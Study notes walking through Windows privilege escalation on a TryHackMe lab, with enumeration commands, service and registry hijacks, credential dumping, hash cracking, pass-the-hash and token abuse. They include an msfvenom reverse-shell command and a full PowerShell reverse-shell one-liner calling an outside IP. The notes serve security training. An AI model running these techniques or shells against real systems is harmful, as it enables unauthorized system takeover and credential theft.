Windows-Priv-2

Windows Privilege Escalation

- Preferable room is https://tryhackme.com/room/windows10privesc, but u can use anything of your choice.
- Some resources,
  - https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
  - https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
  - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%%20Privilege%20Escalation.md
  - https://www.fuzzysecurity.com/tutorials/16.html

Types of accounts in windows machines:

- Administrator (local): This is the user with the most privileges.
- Standard (local): These users can access the computer but can only perform limited tasks. Typically these users can not make permanent or essential changes to the system.
- Guest: This account gives access to the system but is not defined as a user.
- Standard (domain): Active Directory allows organizations to manage user accounts. A standard domain account may have local administrator privileges.
- Administrator (domain): Could be considered as the most privileged user. It can edit, create, and delete other users throughout the organization's domain.
- **SYSTEM** : This not particularly an account but windows services utilize this account to do its task, but even this account has higher privileges

`An Important point worth noting is Groups, any user of Group Administrator helps us to escalate!`

Information Gathering:

- One of the best
  Resource: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Win%20Privilege%20Escalation.md

1. `whoami /priv` - current user's privileges
2. `net users` - lists all users
3. `net user <username>` - lists details of a specific user
4. `qwinsta` - Other users logged in simultaneously
5. `net localgroup` - Groups available in system
6. `net localgroup <group-name>` - list members of a specific group
7. `systeminfo` - gives all the info info about OS
8. `hostname` - hostname of system
9. `findstr /si password *.txt` - we're looking for the files which consist 'password' that too in text files
10. `wmic qfe get Caption,Description,HotFixID,InstalledOn` - this tells about the security patches and related information
11. `netstat -ano` - connections associated with the machine
12. `schtasks /query /fo LIST /v` - to look for any taks that are scheduled
13. `driverquery` - lists the driver related information
14. `sc query windefend` - looks for Antivirus service

Windows Exploit Suggester:

- This is a legendary tool that most people use
- We can solve 60% boxes out there on internet using this tool
- Link: https://github.com/AonCyberLabs/Windows-Exploit-Suggester
- Just have a copy of output of `systeminfo` tool in your machine and this is the only requirement for this tool
- Pro Tip: Make sure all dependancies are fulfilled!

Vulnerable Software:

- Here we'll try to find the software version thats installed and look for whether its vulnerable or not
- `wmic product get name,version,vendor` - this gives product name, version, and the vendor. This particular command gives a proper visualisation of what we need.
- Sometimes the above command might not work so use `wmic service list brief | findstr "Running"` and in order to obtain more information regarding the service use `sc qc <ServiceName>`

Privilege Escalation thru Metasploit:

- After getting session in metasploit, run a module named `post/multi/recon/local_exploit_suggester`, make sure that ur session is in background so that this tool works properly or u can simply load it from **meterpreter**.
- Then It'll suggest some modules which can be exploited so try them and some of them might work(optional).

WinPEAS:

- This is an automated enumeration script which is quite helpful.
- For best usage look for all the options by running `winpeas.exe --help`
- Run the options that are only required and tune the output.

Kernel Exploit:

- Use this particular tool called **Windows Exploit Suggester**
- Firstly get the info of system by running `systeminfo` command and copy that to any file and name it with extension `.txt`
- Now run the tool using the database
- Here look for the kernel releated exploits.
- Happy hacking!!

Service Exploits:

Insecure service permissions:

- Here we'll try to identify services with some insecure permissions and then we can try to exploit them.
- Here we can make use of `winpeas.exe servicesinfo` command and we can see the services which are quite helpful
- One interesting part of output is like this,

```
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped
YOU CAN MODIFY THIS SERVICE: ChangeConfig
```

- But to obtain more information we can use a tool called **accesschk** which is by Microsoft, run it as follows `accesschk.exe /accepteula -uwcqv <current-user> <service>`, output is,

```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL
```

- But the main part is `service_change_config` where we can change configuration of the service.
- Run `sc qc <service>` and then note the Binary_path_name(this can be also called as `binpath`), which we're going to change(evil smile)
- No create a playload which is of shell type and transfer it to the target machine
- Syntax to change the config, `sc config <service> <option>="<value>"`
- Now `sc config daclsvc binpath="<path>"` and now start the service `sc start daclsvc`

Unquoted Service Path:(USP)

- For services the path needs to be in quotes, if its not enclosed like that then we can exploit that loophole and get high privilege.

```
Vulnerability Insight:
The Windows API must assume where to find the referenced application if the path contains spaces and is not enclose
d by quotation marks. If, for example, a service uses the unquoted path:

Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe

The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable director
y.

C:\Program.exe
C:\Program Files\Ignite.exe
C:\Program Files\Ignite Data\Vuln.exe
C:\Program Files\Ignite Data\Vuln Service\file.exe
```

- To get more information just use **WinPEAS** script with option `servicesinfo`, here we can see info if we can exploit any **Unquoted Service Path**, Here I ran the tool and the interesting part of output is like this,

```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.ex
e] - Manual - Stopped - No quotes and Space detected
```

- The output here clearly specifies that **No quotes and Space Detected** so we can conclude that we can exploit this particular service using **USP**
- And to gather more information regarding service use `sc qc <service>`
- Now let's check the permission for this particular location `C:\Program Files\Unquoted Path Service` using `accesschk`, so run `accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"`. Output:

```
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Users
  RW NT SERVICE\TrustedInstaller
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
```

- We have read and write permission.
- Now we'll create a payload and paste it in `C:\Program Files\Unquoted Path Service`, thru `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`, here I'm naming with a different name which has some advantage with alphabetical order as well.
- Now start the service, `sc start unquotedsvc`, we're admin!!!

Weak Registry Permissions:

- Here we'll try to exploit services with weak registry permissions.
- to look for we need to make use of `Winpeas` with `servicesinfo` option. The output looks similar to this

```
▒▒▒▒▒▒▒▒▒▒▒▒ Looking if you can modify any service registry
 Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
    HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
```

- No we go the name of service which is `regsvc`, so lets dig deep about this service, so run `sc qc regsvc` and the output is,

```
sc qc regsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: regsvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Insecure Registry Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
```

- Some cool fact is that the path is quotes so no **Unquoted Service Path**.
- Now lets run `accesschk.exe` and lets dig deep, so run `accesschk /acceptula -uvwqk <path of registry>` (which is `HKLM\system\currentcontrolset\services\regsvc`)
- look for `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)` in output and we're now good to exploit.
- Noe lets see the options within the registry by using `reg query HKLM\system\currentcontrolset\services\regsvc` and I found an options called `ImagePath` which takes executable value, so lets exploit it. First of all create a reverse-shell.
- Now run `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`, choose path of payload according to ur requirement.

- Now run the service, `net start regsvc` and hurray! I got the shell.

Insecure Service Executables:

- Here the File permissions of a service is accessible by all! We try to change the executable of the service and we're good to go!
- Lets run **Winpeas** specifically with **servicesinfo** module and lets see anything interesting, and the output is,

```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stop
ped
    File Permissions: Everyone [AllAccess]
```

- Everyone have access to the file for the service `filepermsvc`, so we'll create a payload a reverse_shell and replace that with the executable of the service and we'll obtain shell.
- This is kind of easy compared to above.

Registry

- Here we make use of Registry to find out info and we'll try to exploit!
- We're juect checking the features which we can abuse

Autoruns:

- Autoruns is a feature in Windows to start few services or application during startup, for example "greenshot"
- We can check them manually by running `reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` - this will display autorun programs and their paths.
- The output is,

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    SecurityHealth    REG_EXPAND_SZ    %windir%\system32\SecurityHealthSystray.exe
    My Program    REG_SZ    "C:\Program Files\Autorun Program\program.exe"
```

- We got 2 programs with path so lets test.
- Now we'll run **accesscheck** to check what permissions are available to the file-path of these autoruns
- Simply run `accesschk.exe \accepteula -wvu "<path>"`, i ran that for **My Program** autorun's path and the output statted `FILE_ALL_ACCESS`, so we can literally do anything in this folder. Mainly we can replace the original executable and restart the system and we can get the shell.
- No we need to wait till the admin login and we'll get the shell as privileges user!
- The catch here is that we need to wait till admin/owner logins or else we're good to go!

AlwaysInstallElevated

- It allows standard user to install **msi**(Microsoft Installer) with adminsitrative privileges.
- This is cool and easy to obtain higher privileges,
- We can check thet by running, `reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated` and `reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated`
- Run both these commands and the value for **AlwaysInstallElevated** must be 1 or 0x1. So that we can confirm and proceed along.
- Now create a reverse-shell of format **msi** for reference check the below command, `msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- Now transfer that to windows machine and run the command, `msiexec /quiet /qn /i reverse.msi`

- Hurray! we got the shell as `nt authority\system`

Passwords:

- Here we look for credentials in registry, files...etc
- And we'll try to login!

Looking for passwords in Registry:

- We can search registry for passwords, sometimes we can find other user's passwords or even owner's password.
- Run `reg query HKLM /f password /t REG_SZ /s` this gives all the details in registry which contains **password** string, search and you might find it! But the sad part is I was unable to obtain any!
- Also run `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"`, we might find some information.
- We can also make use of our legendary tool **winPEAS** run with some options like `windowscreds` - looks for credentials, also `filesinfo` - looks into files and registry for useful data(sometimes passwords also)
- After obtaining password here it's `password123`, so now lets login with the help of **psexec**(link: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py) and the syntax is `python3 psexec.py admin@10.10.150.253` then it'll prompt for password mention it and we'll get access like admin!

Passwords : Savedcreds

- First of all run `cmdkey /list`, here **cmdkey** is an windows-server application that *Creates, lists, and deletes stored user names and passwords or credentials*. By running this we can see what are all the credentials of users saved!
- Th output is,

```
Currently stored credentials:

    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic
    User: 02nfpgrklkitqatu
    Local machine persistence

    Target: Domain:interactive=WIN-QBA94KB3IOF\admin
    Type: Domain Password
    User: WIN-QBA94KB3IOF\admin
```

- We can see the user **admin** so lets make use of **runas** utility. *It allows a user to run specific tools and programs with different permissions than the user's current logon provides.*
- lets run `runas /savecred /user:admin C:\Temp\reverse.exe`, this will give us the admin privileges

Passwords: SAM(Security Accounts manager)

- SAM consists of NTLM hashes of windows passwords, we have chance to crack them but this might not always be helpful because we're dealing with hashes!
- But knowing the method will definitely helps.
- And 99% of the times SAM file cannot be accessed with normal privileges, but here in the box the author created a copy of SAM file in `C:\Windows\Repair` directory, so that we can play! Here in that directory there are 2 files namely, `SAM` and `SYSTEM`
- We need to get both the files so that we can use with a tool named **creddump7**(https://github.com/CiscoCXSecurity/creddump7). I got them thru the help of meterpreter `download` command

- Now after cloning run the following command `python2 pwdump.py /opt/work/SYSTEM /opt/work/SAM` it'll now display the hashes of users that are available in windows machine. The output is,

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
```

- Now save the above content in a text file and now crack it with the help of **JohnTheRipper**, the syntax is `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`, and it cracked!

```
password123     (admin)
password321     (user)
Passw0rd!       (Administrator)
```

Password: Pass the hash attack

- Lets assume that we are not able to crack the hash as its not in the wordlist, then we can use this attack **Pass the hash**, which allows us to authenticate with the help of hash!
- So get the hash, here lets login as **admin** whose hash is `a9fdfa038c4b75ebc76dc855dd74f0da`
- First export, `export SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da` here we're using hash with groupid as well
- Then run `pth-winexe -U admin% //10.10.213.97 cmd.exe`, I got shell as **admin**
- The tool `pth-winexe` is already available in kali.
- If stuck check this: https://www.whitelist1.com/2017/10/pass-hash-pth-attack-with-pth-winexe.html

---

Exploiting Scheduled tasks:

- Like in Linux there are schedules tasks in windows as well.
- To view all the schedules tasks run `schtasks /query /fo LIST /V`
- Here `CleanUp.ps1` seems interesting and the path is `C:\DevTools\CleanUp.ps1`
- So lets see what we can do this location as well as to that file, `accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1` and we have all the privileges to read, write...etc
- The process in the description of task is bit different so I looked for a powershell-reverseshell, which is,

```
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

- Then I transferred and renamed as `CleanUp.ps1` and I got connection.

Insecure GUI apps:

- After getting RDP connection open `Taskmanager` and there in `Details` tab we can see the applications and the user, who's running that.
- Here they intentionally configured `mspaint.exe` to run as admin, so this will be out target.

- As we're working with **Paint** we'll have an option to open files, so we'll open `file://c:/windows/system32/cmd.exe` and boom! We go the shell as **admin** user!
- Here the functionality is bit limited coz we might not always get an RDP connection.

Startup Apps:

- Windows has a feature to allow some apps to run in Startup, we can abuse this feature.
- Startup apps are found in `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`, this is default path.
- Lets check what we can do thru **accesschk.exe**, so run `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"`. The output is,

```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Users
  RW WIN-QBA94KB3IOF\Administrator
  RW WIN-QBA94KB3IOF\admin
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  Everyone
```

- Here there's a script called `CreateShortcut.vbs` which runs with admin priviliges and the mail aim of this is to create a `shortcut` for the reverse-shell which we uploaded.
- Transfer payload and run the script now we need to wait till admin logins and then we'll get the shell.
- This is rare and chance of exploiting thru this is less.

Token Impersonation:

- Tokens are like cookies for computer, the benfit is that we dont need to mention credentials everytime inorder to connect to any network...etc
- There are 2 types of tokens,

1. Delegate token: created for logging into a machine or using a RDP
2. Impersonate toke: Non-interactive, used for attaching network dirve or a domain logon script.

- We can see all the token by running `list_tokens -u` that too in meterpreter session, later after finding some cool token then run `impersonate_token <name of token>`
- Also we can run `whomai /priv` and we can see the privileges to current user, there if we can find some privilege like `SeAssignPrimaryToken` ...etc which are kind of dangerous, this is so dangerous! To know more about these privileges and how to exploit them check this article: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windov %20Privilege%20Escalation.md#eop---impersonation-privileges

---

Potato Attacks:

- Guide for this attacks is: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
- And the payload which we can use is: https://github.com/ohpe/juicy-potato
- Here we try to gain access like `NT Authority/System` [Still in progress.....]